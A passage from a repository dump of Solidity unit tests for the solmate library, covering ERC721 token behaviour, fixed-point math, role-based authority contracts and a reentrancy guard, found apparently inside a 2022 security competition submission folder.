assertEq(token.balanceOf(to), 1);
assertEq(token.ownerOf(id), to);
}
function testBurn(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.burn(id);
assertEq(token.totalSupply(), 0);
assertEq(token.balanceOf(to), 0);
assertEq(token.ownerOf(id), address(0));
}
function testApprove(address to, uint256 id) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(address(this), id);
token.approve(to, id);
assertEq(token.getApproved(id), to);
}
function testApproveAll(address to, bool approved) public {
token.setApprovalForAll(to, approved);
assertBoolEq(token.isApprovedForAll(address(this), to), approved);
}
function testTransferFrom(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.approve(address(this), id);
token.transferFrom(address(from), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testTransferFromSelf(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(address(this), id);
token.transferFrom(address(this), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(this)), 0);
}
function testTransferFromApproveAll(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.transferFrom(address(from), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToEOA(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
ERC721User from = new ERC721User(token);
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), to);
assertEq(token.balanceOf(to), 1);
assertEq(token.balanceOf(address(from)), 0);
}
function testSafeTransferFromToERC721Recipient(uint256 id) public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), id);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), id);
assertBytesEq(recipient.data(), "");
}
function testSafeTransferFromToERC721RecipientWithData(uint256 id, bytes calldata data) public {
ERC721User from = new ERC721User(token);
ERC721Recipient recipient = new ERC721Recipient();
token.mint(address(from), id);
from.setApprovalForAll(address(this), true);
token.safeTransferFrom(address(from), address(recipient), id, data);
assertEq(token.totalSupply(), 1);
assertEq(token.getApproved(id), address(0));
assertEq(token.ownerOf(id), address(recipient));
assertEq(token.balanceOf(address(recipient)), 1);
assertEq(token.balanceOf(address(from)), 0);
assertEq(recipient.operator(), address(this));
assertEq(recipient.from(), address(from));
assertEq(recipient.id(), id);
assertBytesEq(recipient.data(), data);
}
function testSafeMintToEOA(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
if (uint256(uint160(to)) <= 18 || to.code.length > 0) return;
token.safeMint(to, id);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
}
function testSafeMintToERC721Recipient(uint256 id) public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), id);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.data(), "");
}
function testSafeMintToERC721RecipientWithData(uint256 id, bytes calldata data) public {
ERC721Recipient to = new ERC721Recipient();
token.safeMint(address(to), id, data);
assertEq(token.totalSupply(), 1);
assertEq(token.ownerOf(id), address(to));
assertEq(token.balanceOf(address(to)), 1);
assertEq(to.operator(), address(this));
assertEq(to.from(), address(0));
assertEq(to.id(), id);
assertBytesEq(to.data(), data);
}
function testFailMintToZero(uint256 id) public {
token.mint(address(0), id);
}
function testFailDoubleMint(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.mint(to, id);
}
function testFailBurnUnMinted(uint256 id) public {
token.burn(id);
}
function testFailDoubleBurn(uint256 id, address to) public {
if (to == address(0)) to = address(0xBEEF);
token.mint(to, id);
token.burn(id);
token.burn(id);
}
function testFailApproveUnMinted(uint256 id, address to) public {
token.approve(to, id);
}
function testFailApproveUnAuthorized(
address owner,
uint256 id,
address to
) public {
if (owner == address(0)) to = address(0xBEEF);
if (owner == address(this)) return;
token.mint(owner, id);
token.approve(to, id);
}
function testFailTransferFromUnOwned(
address from,
address to,
uint256 id
) public {
token.transferFrom(from, to, id);
}
function testFailTransferFromWrongFrom(
address owner,
address from,
address to,
uint256 id
) public {
if (owner == address(0)) to = address(0xBEEF);
if (from == owner) revert();
token.mint(owner, id);
token.transferFrom(from, to, id);
}
function testFailTransferFromToZero(uint256 id) public {
token.mint(address(this), id);
token.transferFrom(address(this), address(0), id);
}
function testFailTransferFromNotOwner(
address from,
address to,
uint256 id
) public {
if (from == address(0)) to = address(0xBEEF);
token.mint(from, id);
token.transferFrom(from, to, id);
}
function testFailSafeTransferFromToNonERC721Recipient(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id);
}
function testFailSafeTransferFromToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new NonERC721Recipient()), id, data);
}
function testFailSafeTransferFromToRevertingERC721Recipient(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id);
}
function testFailSafeTransferFromToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new RevertingERC721Recipient()), id, data);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnData(uint256 id) public {
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id);
}
function testFailSafeTransferFromToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data)
public
{
token.mint(address(this), id);
token.safeTransferFrom(address(this), address(new WrongReturnDataERC721Recipient()), id, data);
}
function testFailSafeMintToNonERC721Recipient(uint256 id) public {
token.safeMint(address(new NonERC721Recipient()), id);
}
function testFailSafeMintToNonERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new NonERC721Recipient()), id, data);
}
function testFailSafeMintToRevertingERC721Recipient(uint256 id) public {
token.safeMint(address(new RevertingERC721Recipient()), id);
}
function testFailSafeMintToRevertingERC721RecipientWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new RevertingERC721Recipient()), id, data);
}
function testFailSafeMintToERC721RecipientWithWrongReturnData(uint256 id) public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), id);
}
function testFailSafeMintToERC721RecipientWithWrongReturnDataWithData(uint256 id, bytes calldata data) public {
token.safeMint(address(new WrongReturnDataERC721Recipient()), id, data);
}
}
contract ERC721Invariants is DSTestPlus, DSInvariantTest {
BalanceSum balanceSum;
MockERC721 token;
function setUp() public {
token = new MockERC721("Token", "TKN");
balanceSum = new BalanceSum(token);
addTargetContract(address(balanceSum));
}
function invariantBalanceSum() public {
assertEq(token.totalSupply(), balanceSum.sum());
}
}
contract BalanceSum {
MockERC721 token;
uint256 public sum;
constructor(MockERC721 _token) {
token = _token;
}
function mint(address from, uint256 id) public {
token.mint(from, id);
sum++;
}
function burn(uint256 id) public {
token.burn(id);
sum--;
}
function approve(address to, uint256 amount) public {
token.approve(to, amount);
}
function transferFrom(
address from,
address to,
uint256 amount
) public {
token.transferFrom(from, to, amount);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/FixedPointMathLib.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {FixedPointMathLib} from "../utils/FixedPointMathLib.sol";
contract FixedPointMathLibTest is DSTestPlus {
function testFMul() public {
assertEq(FixedPointMathLib.fmul(2.5e27, 0.5e27, FixedPointMathLib.RAY), 1.25e27);
assertEq(FixedPointMathLib.fmul(2.5e18, 0.5e18, FixedPointMathLib.WAD), 1.25e18);
assertEq(FixedPointMathLib.fmul(2.5e8, 0.5e8, FixedPointMathLib.YAD), 1.25e8);
}
function testFMulEdgeCases() public {
assertEq(FixedPointMathLib.fmul(0, 1e18, FixedPointMathLib.WAD), 0);
assertEq(FixedPointMathLib.fmul(1e18, 0, FixedPointMathLib.WAD), 0);
assertEq(FixedPointMathLib.fmul(0, 0, FixedPointMathLib.WAD), 0);
assertEq(FixedPointMathLib.fmul(1e18, 1e18, 0), 0);
}
function testFDiv() public {
assertEq(FixedPointMathLib.fdiv(1e27, 2e27, FixedPointMathLib.RAY), 0.5e27);
assertEq(FixedPointMathLib.fdiv(1e18, 2e18, FixedPointMathLib.WAD), 0.5e18);
assertEq(FixedPointMathLib.fdiv(1e8, 2e8, FixedPointMathLib.YAD), 0.5e8);
}
function testFDivEdgeCases() public {
assertEq(FixedPointMathLib.fdiv(1e8, 1e18, 0), 0);
assertEq(FixedPointMathLib.fdiv(0, 1e18, FixedPointMathLib.WAD), 0);
}
function testFailFDivZeroY() public pure {
FixedPointMathLib.fdiv(1e18, 0, FixedPointMathLib.WAD);
}
function testFailFDivZeroXY() public pure {
FixedPointMathLib.fdiv(0, 0, FixedPointMathLib.WAD);
}
function testFailFDivXYB() public pure {
FixedPointMathLib.fdiv(0, 0, 0);
}
function testFPow() public {
assertEq(FixedPointMathLib.fpow(2e27, 2, FixedPointMathLib.RAY), 4e27);
assertEq(FixedPointMathLib.fpow(2e18, 2, FixedPointMathLib.WAD), 4e18);
assertEq(FixedPointMathLib.fpow(2e8, 2, FixedPointMathLib.YAD), 4e8);
}
function testSqrt() public {
assertEq(FixedPointMathLib.sqrt(0), 0);
assertEq(FixedPointMathLib.sqrt(1), 1);
assertEq(FixedPointMathLib.sqrt(2704), 52);
assertEq(FixedPointMathLib.sqrt(110889), 333);
assertEq(FixedPointMathLib.sqrt(32239684), 5678);
}
function testFMul(
uint256 x,
uint256 y,
uint256 baseUnit
) public {
// Convert cases where x * y overflows into useful test cases.
unchecked {
while (x != 0 && (x * y) / x != y) {
x /= 2;
y /= 2;
}
}
assertEq(FixedPointMathLib.fmul(x, y, baseUnit), baseUnit == 0 ? 0 : (x * y) / baseUnit);
}
function testFailFMulOverflow(
uint256 x,
uint256 y,
uint256 baseUnit
) public pure {
// Ignore cases where x * y does not overflow.
unchecked {
if ((x * y) / x == y) revert();
}
FixedPointMathLib.fmul(x, y, baseUnit);
}
function testFDiv(
uint256 x,
uint256 y,
uint256 baseUnit
) public {
if (y == 0) y = 1;
// Ignore cases where x * baseUnit overflows.
unchecked {
if (x != 0 && (x * baseUnit) / x != baseUnit) return;
}
assertEq(FixedPointMathLib.fdiv(x, y, baseUnit), (x * baseUnit) / y);
}
function testFailFDivOverflow(
uint256 x,
uint256 y,
uint256 baseUnit
) public pure {
// Ignore cases where x * baseUnit does not overflow.
unchecked {
if ((x * baseUnit) / x == baseUnit) revert();
}
FixedPointMathLib.fdiv(x, y, baseUnit);
}
function testFailFDivYZero(uint256 x, uint256 baseUnit) public pure {
FixedPointMathLib.fdiv(x, 0, baseUnit);
}
function testSqrt(uint256 x) public {
uint256 root = FixedPointMathLib.sqrt(x);
uint256 next = root + 1;
// Ignore cases where next * next overflows.
unchecked {
if (next * next < next) return;
}
assertTrue(root * root <= x && next * next > x);
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/MultiRolesAuthority.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
import {MultiRolesAuthority} from "../auth/authorities/MultiRolesAuthority.sol";
contract MultiRolesAuthorityTest is DSTestPlus {
MultiRolesAuthority multiRolesAuthority;
function setUp() public {
multiRolesAuthority = new MultiRolesAuthority(address(this), Authority(address(0)));
}
function testSetRoles() public {
assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
}
function testSetRoleCapabilities() public {
assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.doesRoleHaveCapability(0, 0xBEEFCAFE));
}
function testSetPublicCapabilities() public {
assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.isCapabilityPublic(0xBEEFCAFE));
}
function testSetTargetCustomAuthority() public {
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));
multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0xCAFE)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0xCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xBEEF), Authority(address(0)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(address(0xBEEF))), address(0));
}
function testCanCallWithAuthorizedRole() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallPublicCapability() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthority() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthorityOverridesPublicCapability() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, false);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setPublicCapability(0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithCustomAuthorityOverridesUserWithRole() public {
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setTargetCustomAuthority(address(0xCAFE), Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setRoleCapability(0, 0xBEEFCAFE, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
multiRolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(multiRolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testSetRoles(address user, uint8 role) public {
assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));
multiRolesAuthority.setUserRole(user, role, true);
assertTrue(multiRolesAuthority.doesUserHaveRole(user, role));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.doesUserHaveRole(user, role));
}
function testSetRoleCapabilities(uint8 role, bytes4 functionSig) public {
assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.doesRoleHaveCapability(role, functionSig));
}
function testSetPublicCapabilities(bytes4 functionSig) public {
assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.isCapabilityPublic(functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertFalse(multiRolesAuthority.isCapabilityPublic(functionSig));
}
function testSetTargetCustomAuthority(address user, Authority customAuthority) public {
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));
multiRolesAuthority.setTargetCustomAuthority(user, customAuthority);
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(customAuthority));
multiRolesAuthority.setTargetCustomAuthority(user, Authority(address(0)));
assertEq(address(multiRolesAuthority.getTargetCustomAuthority(user)), address(0));
}
function testCanCallWithAuthorizedRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthority(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthorityOverridesPublicCapability(
address user,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, false);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setPublicCapability(functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
}
function testCanCallWithCustomAuthorityOverridesUserWithRole(
address user,
uint8 role,
address target,
bytes4 functionSig
) public {
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(false));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, new MockAuthority(true));
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setTargetCustomAuthority(target, Authority(address(0)));
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, true);
assertTrue(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setRoleCapability(role, functionSig, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
multiRolesAuthority.setUserRole(user, role, false);
assertFalse(multiRolesAuthority.canCall(user, target, functionSig));
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/ReentrancyGuard.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {ReentrancyGuard} from "../utils/ReentrancyGuard.sol";
contract RiskyContract is ReentrancyGuard {
uint256 public enterTimes;
function unprotectedCall() public {
enterTimes++;
if (enterTimes > 1) return;
protectedCall();
}
function protectedCall() public nonReentrant {
enterTimes++;
if (enterTimes > 1) return;
protectedCall();
}
function overprotectedCall() public nonReentrant {}
}
contract ReentrancyGuardTest is DSTestPlus {
RiskyContract riskyContract;
function setUp() public {
riskyContract = new RiskyContract();
}
function invariantReentrancyStatusAlways1() public {
assertEq(uint256(hevm.load(address(riskyContract), 0)), 1);
}
function testFailUnprotectedCall() public {
riskyContract.unprotectedCall();
assertEq(riskyContract.enterTimes(), 1);
}
function testProtectedCall() public {
try riskyContract.protectedCall() {
fail("Reentrancy Guard Failed To Stop Attacker");
} catch {}
}
function testNoReentrancy() public {
riskyContract.overprotectedCall();
}
}
================================================
FILE: 2022/submissions_2022/submission13_TeamChainSecurity/lib/solmate/src/test/RolesAuthority.t.sol
================================================
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity 0.8.10;
import {DSTestPlus} from "./utils/DSTestPlus.sol";
import {MockAuthority} from "./utils/mocks/MockAuthority.sol";
import {Authority} from "../auth/Auth.sol";
import {RolesAuthority} from "../auth/authorities/RolesAuthority.sol";
contract RolesAuthorityTest is DSTestPlus {
RolesAuthority rolesAuthority;
function setUp() public {
rolesAuthority = new RolesAuthority(address(this), Authority(address(0)));
}
function testSetRoles() public {
assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
rolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertTrue(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
rolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(rolesAuthority.doesUserHaveRole(address(0xBEEF), 0));
}
function testSetRoleCapabilities() public {
assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.doesRoleHaveCapability(0, address(0xCAFE), 0xBEEFCAFE));
}
function testSetPublicCapabilities() public {
assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.isCapabilityPublic(address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallWithAuthorizedRole() public {
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setUserRole(address(0xBEEF), 0, true);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setRoleCapability(0, address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setUserRole(address(0xBEEF), 0, false);
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
}
function testCanCallPublicCapability() public {
assertFalse(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, true);
assertTrue(rolesAuthority.canCall(address(0xBEEF), address(0xCAFE), 0xBEEFCAFE));
rolesAuthority.setPublicCapability(address(0xCAFE), 0xBEEFCAFE, false);
